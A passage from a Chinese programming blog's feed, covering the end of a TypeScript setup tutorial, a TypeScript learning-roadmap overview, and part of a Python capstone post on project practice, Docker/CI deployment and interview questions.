# 输出：你好，TypeScript！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试着改错传参，体验类型检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;greet(123); // ❌ 报错：Argument of type &apos;number&apos; is not assignable to parameter of type &apos;string&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不用运行，编译器就拦住了你——这就是 TS 的价值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. tsconfig.json 初探&lt;/h2&gt;
&lt;p&gt;每次手动指定文件太麻烦。用配置文件让 &lt;code&gt;tsc&lt;/code&gt; 自动处理整个项目：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx tsc --init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这会生成 &lt;code&gt;tsconfig.json&lt;/code&gt;。几个最关键、初学者先记住的字段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    &quot;target&quot;: &quot;ES2020&quot;,      // 编译成哪个 JS 版本
    &quot;module&quot;: &quot;CommonJS&quot;,    // 模块系统（Node 用 CommonJS，前端用 ESNext）
    &quot;outDir&quot;: &quot;./dist&quot;,      // 编译产物输出目录
    &quot;rootDir&quot;: &quot;./src&quot;,      // 源码根目录
    &quot;strict&quot;: true,          // 开启全部严格检查（强烈建议）
    &quot;esModuleInterop&quot;: true, // 兼容默认导入（import fs from &apos;fs&apos;）
    &quot;skipLibCheck&quot;: true     // 跳过 .d.ts 内部检查，提速
  },
  &quot;include&quot;: [&quot;src/**/*&quot;],   // 参与编译的文件
  &quot;exclude&quot;: [&quot;node_modules&quot;, &quot;dist&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后直接 &lt;code&gt;npx tsc&lt;/code&gt; 就能编译整个 &lt;code&gt;src&lt;/code&gt; 目录到 &lt;code&gt;dist&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;第 13 篇会&lt;strong&gt;逐字段&lt;/strong&gt;拆解 tsconfig，这里先混个脸熟。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 配置 VS Code&lt;/h2&gt;
&lt;p&gt;VS Code 对 TS 开箱即用（内置 TS 语言服务）。建议：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;状态栏右下角确认 TS 版本是&lt;strong&gt;项目本地版本&lt;/strong&gt;（点版本号可切换），避免用到全局旧版。&lt;/li&gt;
&lt;li&gt;开启 &lt;code&gt;strict&lt;/code&gt; 后，编辑器会实时标红类型错误，不用等编译。&lt;/li&gt;
&lt;li&gt;装官方扩展 &lt;strong&gt;TypeScript + JavaScript Nightly&lt;/strong&gt;（可选，抢先体验新版特性）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 让开发更顺手&lt;/h2&gt;
&lt;p&gt;每篇都手敲 &lt;code&gt;tsc&lt;/code&gt; 太累，把常用命令写进 &lt;code&gt;package.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;scripts&quot;: {
    &quot;build&quot;: &quot;tsc&quot;,           // 编译
    &quot;watch&quot;: &quot;tsc -w&quot;,        // 监听改动自动编译
    &quot;start&quot;: &quot;node dist/index.js&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开发时直接 &lt;code&gt;npm run watch&lt;/code&gt; 后台编译，&lt;code&gt;npm start&lt;/code&gt; 跑。&lt;/p&gt;
&lt;p&gt;如果想&lt;strong&gt;跳过编译直接跑 TS&lt;/strong&gt;（开发调试更爽），用 &lt;code&gt;tsx&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -D tsx
npx tsx src/index.ts   # 直接运行 TS，无需先 tsc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tsx&lt;/code&gt; 基于 esbuild，速度极快，是 &lt;code&gt;ts-node&lt;/code&gt; 的现代替代品。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TS 工具链 = &lt;strong&gt;Node + tsc + tsconfig + IDE&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;npx tsc file.ts&lt;/code&gt; 单文件编译；&lt;code&gt;tsconfig.json&lt;/code&gt; + &lt;code&gt;tsc&lt;/code&gt; 项目级编译。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;strict: true&lt;/code&gt; 是安全底线，别关。&lt;/li&gt;
&lt;li&gt;开发期用 &lt;code&gt;tsx&lt;/code&gt; 直接跑 TS，省去编译步骤。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;新建一个项目，安装 TypeScript，写函数 &lt;code&gt;sum(a: number, b: number): number&lt;/code&gt; 并返回和，编译运行验证。&lt;/li&gt;
&lt;li&gt;故意把 &lt;code&gt;sum(&quot;1&quot;, 2)&lt;/code&gt; 传进去，观察 &lt;code&gt;tsc&lt;/code&gt; 报什么错。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;tsc --init&lt;/code&gt; 生成 tsconfig，把 &lt;code&gt;outDir&lt;/code&gt; 改成 &lt;code&gt;./build&lt;/code&gt; 后编译，确认产物去了哪里。&lt;/li&gt;
&lt;li&gt;装 &lt;code&gt;tsx&lt;/code&gt;，用 &lt;code&gt;npx tsx&lt;/code&gt; 直接运行你的 TS 文件。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>TypeScript 从零基础到精通 · 路线总览</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-00-overview/</guid><description>TypeScript 系统学习路线总览：从环境搭建、基础类型、接口与函数类型、类与泛型，到条件类型、类型守卫、类型体操、装饰器、模块、声明文件、工程化 tsconfig，再到与 React/Vue/Node 集成实战的完整学习路径。</description><pubDate>Sun, 27 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;15 篇文章&lt;/strong&gt;，面向希望从零系统掌握 TypeScript 的前端/全栈开发者，也适合已会用 JS、想把类型系统真正用顺的工程师。&lt;/p&gt;
&lt;p&gt;学习路径：&lt;strong&gt;环境 → 基础类型 → 接口/函数 → 类/泛型 → 条件类型 → 联合与守卫 → 类型体操 → 装饰器 → 模块/声明 → 工程化 → 框架集成&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么要学 TypeScript&lt;/h2&gt;
&lt;p&gt;JavaScript 是动态弱类型语言，变量在运行时才能确定类型，这在小项目里很灵活，但在中大型项目和团队协作中会放大两类问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;错误发现太晚&lt;/strong&gt;：拼写错误、传参类型不对、&lt;code&gt;undefined&lt;/code&gt; 访问，往往要等到浏览器跑起来才暴露。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可读性差、重构成本高&lt;/strong&gt;：没有类型标注，函数接收什么、返回什么都不清楚，改一处要全文搜索。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;TypeScript 是 JavaScript 的&lt;strong&gt;类型超集&lt;/strong&gt;——任何合法的 JS 都是合法的 TS，但它额外提供一套静态类型系统。它在&lt;strong&gt;编译期&lt;/strong&gt;做类型检查，最终编译回纯 JS 运行。类型信息在运行时会被擦除，所以不会带来运行时负担。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一句话：TypeScript 给你的代码加了&quot;编译期的说明书 + 纠错器&quot;，IDE 自动补全、跳转、重构体验也直接起飞。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;本路线覆盖什么&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;主题&lt;/th&gt;
&lt;th&gt;你能学到&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;环境搭建&lt;/td&gt;
&lt;td&gt;安装 tsc、写第一个 TS、tsconfig 初探、npm 脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;基础类型&lt;/td&gt;
&lt;td&gt;原始类型、数组/元组、enum、any/unknown/never/void、类型推断&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;接口与类型别名&lt;/td&gt;
&lt;td&gt;interface、可选/只读、索引签名、interface vs type&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;函数类型&lt;/td&gt;
&lt;td&gt;函数类型表达式、重载、this 类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05&lt;/td&gt;
&lt;td&gt;类与面向对象&lt;/td&gt;
&lt;td&gt;修饰符、继承、抽象类、implements、存取器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06&lt;/td&gt;
&lt;td&gt;泛型基础&lt;/td&gt;
&lt;td&gt;泛型函数/接口/类、约束与默认值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07&lt;/td&gt;
&lt;td&gt;泛型进阶与工具类型&lt;/td&gt;
&lt;td&gt;条件类型、infer、内置工具类型、映射类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08&lt;/td&gt;
&lt;td&gt;联合与类型守卫&lt;/td&gt;
&lt;td&gt;联合收窄、可辨识联合、自定义守卫&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09&lt;/td&gt;
&lt;td&gt;类型体操入门&lt;/td&gt;
&lt;td&gt;模板字面量、递归类型、手写 MyPick 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;装饰器&lt;/td&gt;
&lt;td&gt;类/方法/属性装饰器、装饰器工厂&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;模块与命名空间&lt;/td&gt;
&lt;td&gt;ES Module、动态 import、模块解析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;声明文件&lt;/td&gt;
&lt;td&gt;.d.ts、declare、@types、为无类型库补类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;工程化&lt;/td&gt;
&lt;td&gt;tsconfig 全解、strict 族、project references&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;框架集成实战&lt;/td&gt;
&lt;td&gt;React / Vue 3 / Node 中的 TS 实践&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;知识地图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;TypeScript 从零基础到精通

├── 环境层（01）
│   └── Node / tsc / tsconfig / IDE
├── 类型基础（02-03）
│   ├── 基础类型：string number boolean array tuple enum unknown never
│   └── 结构化类型：interface / type / 交叉 &amp;amp;
├── 函数与类（04-05）
│   ├── 函数类型、重载、this
│   └── class、修饰符、abstract、implements
├── 泛型与类型编程（06-09）
│   ├── 泛型函数/约束/默认值
│   ├── 条件类型 + infer + 映射类型
│   ├── 联合收窄 + 类型守卫
│   └── 类型体操（手写工具类型）
├── 进阶特性（10-12）
│   ├── 装饰器
│   ├── 模块 / 命名空间
│   └── 声明文件 .d.ts
└── 工程与实战（13-14）
    ├── tsconfig 工程化 / monorepo
    └── React / Vue / Node 集成
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;前置要求&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;熟悉 &lt;strong&gt;JavaScript&lt;/strong&gt;（变量、函数、对象、Promise、ES Module）。不懂 JS 直接上 TS 会比较吃力。&lt;/li&gt;
&lt;li&gt;本机安装 &lt;strong&gt;Node.js（建议 18+）&lt;/strong&gt; 和 &lt;strong&gt;VS Code&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;一点命令行基础（&lt;code&gt;npm install&lt;/code&gt;、&lt;code&gt;node&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你还不熟 JS，建议先补一下 ES6+ 语法再回来。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;怎么读这套路线&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;顺序读&lt;/strong&gt;：前 6 篇是地基，建议一篇不落。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动手敲&lt;/strong&gt;：每篇的代码不要复制粘贴，自己敲一遍、用 &lt;code&gt;tsc&lt;/code&gt; 编译看报错，类型系统的直觉是&quot;被报错喂出来的&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第 9 篇可缓读&lt;/strong&gt;：类型体操偏进阶，初学先理解思路，不必钻牛角尖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当速查&lt;/strong&gt;：熟悉的部分（如 02、13）可直接当字典查。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;TypeScript 不是&quot;给 JS 加难度&quot;，而是&lt;strong&gt;用少量类型标注换取大量的安全性和可维护性&lt;/strong&gt;。本路线从环境到框架集成，目标是让你不仅能写 TS，更能把类型系统当成&quot;设计工具&quot;来用。&lt;/p&gt;
&lt;p&gt;下一篇我们从环境搭起，写出并运行你的第一个 TypeScript 程序。&lt;/p&gt;
</content:encoded></item><item><title>项目实战、部署与面试</title><link>http://117.72.32.87/blog/posts/python-roadmap-15-project-interview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-15-project-interview/</guid><description>Python 学习路线收官：综合项目实战思路（Web/爬虫/数据分析）、工程化规范（Git/虚拟环境/测试/代码质量）、项目部署（Docker/Nginx/CI-CD）、Python 高频面试题精讲，以及进阶方向与系列总结。</description><pubDate>Fri, 18 Sep 2026 08:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day91~100&lt;/strong&gt;，也是 Python 学习路线的&lt;strong&gt;收官之作&lt;/strong&gt;。学完前面 14 篇的语法、数据结构、Web、爬虫、数据分析、机器学习后，本篇聚焦如何把知识&lt;strong&gt;落地成项目&lt;/strong&gt;、&lt;strong&gt;工程化部署&lt;/strong&gt;，并通过&lt;strong&gt;面试&lt;/strong&gt;检验，最后总结整个学习路线与进阶方向。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、综合项目实战思路&lt;/h2&gt;
&lt;p&gt;学习的终点是做出&lt;strong&gt;完整项目&lt;/strong&gt;。项目是最好的简历，也是把碎片知识串成体系的过程。&lt;/p&gt;
&lt;h3&gt;推荐实战项目（按方向）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方向&lt;/th&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;涉及技术栈&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Web 后端&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;博客系统 / 电商后台 / 在线商城&lt;/td&gt;
&lt;td&gt;Django + DRF + MySQL + Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;爬虫&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;新闻聚合 / 比价机器人 / 数据采集平台&lt;/td&gt;
&lt;td&gt;requests + Scrapy + MongoDB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数据分析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;销售数据分析 / 用户行为看板&lt;/td&gt;
&lt;td&gt;pandas + NumPy + matplotlib&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;自动化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;办公自动化 / 定时任务 / 邮件报表&lt;/td&gt;
&lt;td&gt;openpyxl + schedule + smtplib&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;机器学习&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;房价预测 / 推荐系统 / 情感分析&lt;/td&gt;
&lt;td&gt;scikit-learn + pandas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;全栈&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;前后端分离的完整应用&lt;/td&gt;
&lt;td&gt;Django API + Vue/React&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;项目开发的完整流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 需求分析     →  明确要做什么、给谁用、核心功能
2. 技术选型     →  用什么框架、数据库、部署方案
3. 架构设计     →  模块划分、数据库设计、接口设计
4. 环境搭建     →  Git 仓库、虚拟环境、依赖管理
5. 迭代开发     →  小步快跑，先跑通主流程（MVP）再完善
6. 测试         →  单元测试、集成测试
7. 部署上线     →  服务器/Docker/云平台
8. 文档与复盘   →  README、部署文档、经验总结
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;MVP 思维（最小可行产品）&lt;/strong&gt;：别一上来追求完美。先用最简单的方式把&lt;strong&gt;核心流程跑通&lt;/strong&gt;（哪怕丑、哪怕手动），再逐步优化。很多项目死于&quot;想得太大、迟迟不动手&quot;。做完一个能跑的小项目，胜过看十篇教程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;实战建议：做一个博客系统&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;以&quot;个人博客系统&quot;为例串联全系列知识：
- Django 搭后端 + 模板渲染页面（Web 篇）
- MySQL 存文章、DRF 提供 API（数据库/DRF 篇）
- 后台用 Admin 管理，加用户认证（Django 篇）
- 前端 ECharts 展示访问统计（可视化篇）
- 用爬虫抓取技术资讯做&quot;推荐阅读&quot;（爬虫篇）
- pandas 分析热门文章、生成周报（数据分析篇）
- Docker 打包，Nginx + Gunicorn 部署（本篇）
一个项目 = 一次全系列知识的综合运用
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、工程化规范&lt;/h2&gt;
&lt;p&gt;写出&quot;能跑的代码&quot;和&quot;专业的代码&quot;之间，隔着工程化规范。&lt;/p&gt;
&lt;h3&gt;1. 虚拟环境与依赖管理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# venv（标准库自带）
python -m venv venv                   # 创建虚拟环境
source venv/bin/activate              # 激活（Linux/Mac）
venv\Scripts\activate                 # 激活（Windows）
deactivate                            # 退出

# 依赖管理
pip freeze &amp;gt; requirements.txt         # 导出依赖
pip install -r requirements.txt       # 安装依赖

# Poetry（现代化工具，推荐）
poetry init                           # 初始化项目
poetry add django requests            # 添加依赖（自动管理版本）
poetry install                        # 安装
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;每个项目必须用独立虚拟环境&lt;/strong&gt;！不要往全局 Python 装包。不同项目依赖版本常冲突，虚拟环境隔离依赖，保证项目在任何机器上都能用 &lt;code&gt;requirements.txt&lt;/code&gt;/&lt;code&gt;poetry.lock&lt;/code&gt; 复现，这是团队协作的基础。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. 版本控制（Git）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git init                              # 初始化仓库
git add .                             # 添加到暂存区
git commit -m &quot;feat: 添加用户登录&quot;    # 提交（规范提交信息）
git branch feature-x                  # 创建分支
git checkout feature-x                # 切换分支
git merge feature-x                   # 合并分支
git push origin main                  # 推送到远程
git pull                              # 拉取更新
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;提交信息规范（Conventional Commits）：
feat:     新功能
fix:      修复 bug
docs:     文档
style:    格式（不影响逻辑）
refactor: 重构
test:     测试
chore:    构建/工具

.gitignore 必备：venv/、__pycache__/、*.pyc、.env、db.sqlite3、.idea/、.vscode/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 代码质量与规范&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 代码格式化与检查工具
pip install black flake8 pylint

black .                    # 自动格式化（统一风格）
flake8 .                   # 检查代码规范（PEP8）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Python 代码规范要点（PEP8）：
- 缩进用 4 个空格（不用 Tab）
- 变量/函数用小写下划线 user_name、get_data
- 类用大驼峰 UserProfile
- 常量全大写 MAX_SIZE
- 函数/模块写文档字符串（docstring）
- 单行不超过 79/120 字符
- import 分行、按标准库/第三方/本地分组
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 测试&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 单元测试（unittest 或 pytest）
# test_calculator.py
import pytest
from calculator import add

def test_add():
    assert add(2, 3) == 5            # 断言
    assert add(-1, 1) == 0

@pytest.mark.parametrize(&quot;a,b,expected&quot;, [(1,1,2), (0,0,0), (-1,-1,-2)])
def test_add_cases(a, b, expected):  # 参数化测试
    assert add(a, b) == expected
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pytest                    # 运行所有测试
pytest -v                 # 详细输出
pytest --cov=mymodule     # 覆盖率报告
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;测试类型：
单元测试：测单个函数/类（最基础，写得多）
集成测试：测多个模块协作
端到端测试：模拟用户完整流程
原则：核心逻辑、易错边界一定要测；测试是重构的底气
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、项目部署&lt;/h2&gt;
&lt;h3&gt;1. Docker 容器化部署&lt;/h3&gt;
&lt;p&gt;Docker 把应用和依赖打包成镜像，&quot;一次构建，到处运行&quot;，彻底解决&quot;在我机器上能跑&quot;的问题。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Dockerfile（Python Web 应用示例）
FROM python:3.11-slim              # 基础镜像

WORKDIR /app                       # 工作目录

COPY requirements.txt .            # 先复制依赖清单
RUN pip install --no-cache-dir -r requirements.txt   # 装依赖（利用缓存层）

COPY . .                           # 复制项目代码

EXPOSE 8000                        # 暴露端口

CMD [&quot;gunicorn&quot;, &quot;mysite.wsgi:application&quot;, &quot;-w&quot;, &quot;4&quot;, &quot;-b&quot;, &quot;0.0.0.0:8000&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Docker 常用命令
docker build -t myapp:1.0 .              # 构建镜像
docker run -d -p 8000:8000 myapp:1.0     # 运行容器（后台，端口映射）
docker ps                                # 查看运行中的容器
docker logs &amp;lt;container_id&amp;gt;               # 查看日志
docker-compose up -d                     # 用编排文件启动多容器
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# docker-compose.yml（多容器编排，如 Web + 数据库 + Redis）
version: &quot;3.8&quot;
services:
  web:
    build: .
    ports:
      - &quot;8000:8000&quot;
    depends_on:
      - db
    environment:
      - DATABASE_URL=postgres://user:pwd@db:5432/mydb
  db:
    image: postgres:15
    environment:
      POSTGRES_PASSWORD: pwd
  redis:
    image: redis:7
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;Dockerfile 优化&lt;/strong&gt;：把 &lt;code&gt;COPY requirements.txt&lt;/code&gt; 和 &lt;code&gt;RUN pip install&lt;/code&gt; 放在 &lt;code&gt;COPY . .&lt;/code&gt; &lt;strong&gt;之前&lt;/strong&gt;，这样只要依赖不变，就能复用缓存层，重新构建飞快。用 &lt;code&gt;-slim&lt;/code&gt; 基础镜像减小体积，&lt;code&gt;--no-cache-dir&lt;/code&gt; 不缓存 pip 包。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. 传统服务器部署&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;典型生产架构：
用户 → Nginx（反向代理 + 静态文件 + SSL + 负载均衡）
         └→ Gunicorn/uWSGI（WSGI 服务器，多 worker）
              └→ Django/Flask 应用
                   ├→ MySQL/PostgreSQL（数据库）
                   └→ Redis（缓存/Session）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 部署步骤（云服务器）
1. 买服务器（阿里云/腾讯云/AWS），装 Python、Nginx、数据库
2. Git 拉代码，创建虚拟环境，pip install -r requirements.txt
3. 配置环境变量（SECRET_KEY、数据库连接，用 .env + python-dotenv）
4. python manage.py migrate &amp;amp;&amp;amp; collectstatic
5. Gunicorn 启动应用（用 systemd/supervisor 守护，开机自启、崩溃重启）
6. Nginx 反向代理 + 配 HTTPS（Let&apos;s Encrypt 免费证书）
7. 配置定时备份数据库、日志监控
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. CI/CD 自动化部署&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/deploy.yml（GitHub Actions）
name: Deploy
on:
  push:
    branches: [main]              # 推送到 main 触发

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-python@v4
        with:
          python-version: &quot;3.11&quot;
      - run: pip install -r requirements.txt   # 装依赖
      - run: pytest                            # 跑测试
      - run: ./deploy.sh                       # 部署脚本
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;CI/CD 概念：
CI（持续集成）：代码提交后自动构建 + 测试，尽早发现问题
CD（持续部署）：测试通过后自动部署到服务器
工具：GitHub Actions、GitLab CI、Jenkins
好处：自动化、减少人工失误、快速迭代、可回滚
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. 云平台部署（简单快捷）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;不想运维服务器？用 PaaS 平台一键部署：
- Vercel / Netlify：静态站、前端、Next.js（免费额度）
- Railway / Render / Heroku：Python Web 应用（简单）
- 阿里云函数计算 / 腾讯云 SCF：Serverless，按调用付费
- Docker 镜像可推到各大云容器服务
适合个人项目、快速上线，省去服务器运维
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、Python 高频面试题&lt;/h2&gt;
&lt;h3&gt;语言基础&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q：列表 list 和元组 tuple 的区别？&lt;/strong&gt;
A：list 可变（能增删改）、用 &lt;code&gt;[]&lt;/code&gt;；tuple 不可变、用 &lt;code&gt;()&lt;/code&gt;、可作字典键、性能略高、更安全。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：深拷贝和浅拷贝？&lt;/strong&gt;
A：浅拷贝（&lt;code&gt;copy.copy&lt;/code&gt;/切片）只复制顶层，嵌套对象仍是引用；深拷贝（&lt;code&gt;copy.deepcopy&lt;/code&gt;）递归复制所有层级，完全独立。赋值 &lt;code&gt;b=a&lt;/code&gt; 只是引用同一对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：&lt;code&gt;is&lt;/code&gt; 和 &lt;code&gt;==&lt;/code&gt; 的区别？&lt;/strong&gt;
A：&lt;code&gt;==&lt;/code&gt; 比较&lt;strong&gt;值&lt;/strong&gt;是否相等；&lt;code&gt;is&lt;/code&gt; 比较&lt;strong&gt;是否是同一对象&lt;/strong&gt;（内存地址）。判断 &lt;code&gt;None&lt;/code&gt; 用 &lt;code&gt;is None&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：可变默认参数的坑？&lt;/strong&gt;
A：&lt;code&gt;def f(x=[])&lt;/code&gt; 的默认列表在函数定义时创建，多次调用共享同一列表，导致累积。正解：&lt;code&gt;def f(x=None): x = x or []&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：GIL 是什么？&lt;/strong&gt;
A：全局解释器锁，同一时刻只有一个线程执行 Python 字节码。导致多线程无法利用多核做 CPU 密集计算。CPU 密集用多进程，IO 密集用多线程/异步。&lt;/p&gt;
&lt;h3&gt;进阶与框架&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q：装饰器的原理？&lt;/strong&gt;
A：装饰器是接收函数返回函数的高阶函数，&lt;code&gt;@decorator&lt;/code&gt; 等价于 &lt;code&gt;func = decorator(func)&lt;/code&gt;，在不改原函数代码的前提下增强功能（如日志、计时、权限校验）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q：生成器和迭代器的区别？&lt;/strong&gt;
A：迭代器实现 &lt;code&gt;__iter__&lt;/code&gt; 和 &lt;code&gt;__next__&lt;/code&gt;；生成器是特殊的迭代器，用 &lt;code&gt;yield&lt;/code&gt; 惰性产生值，节省内存，适合处理大数据流。&lt;/p&gt;
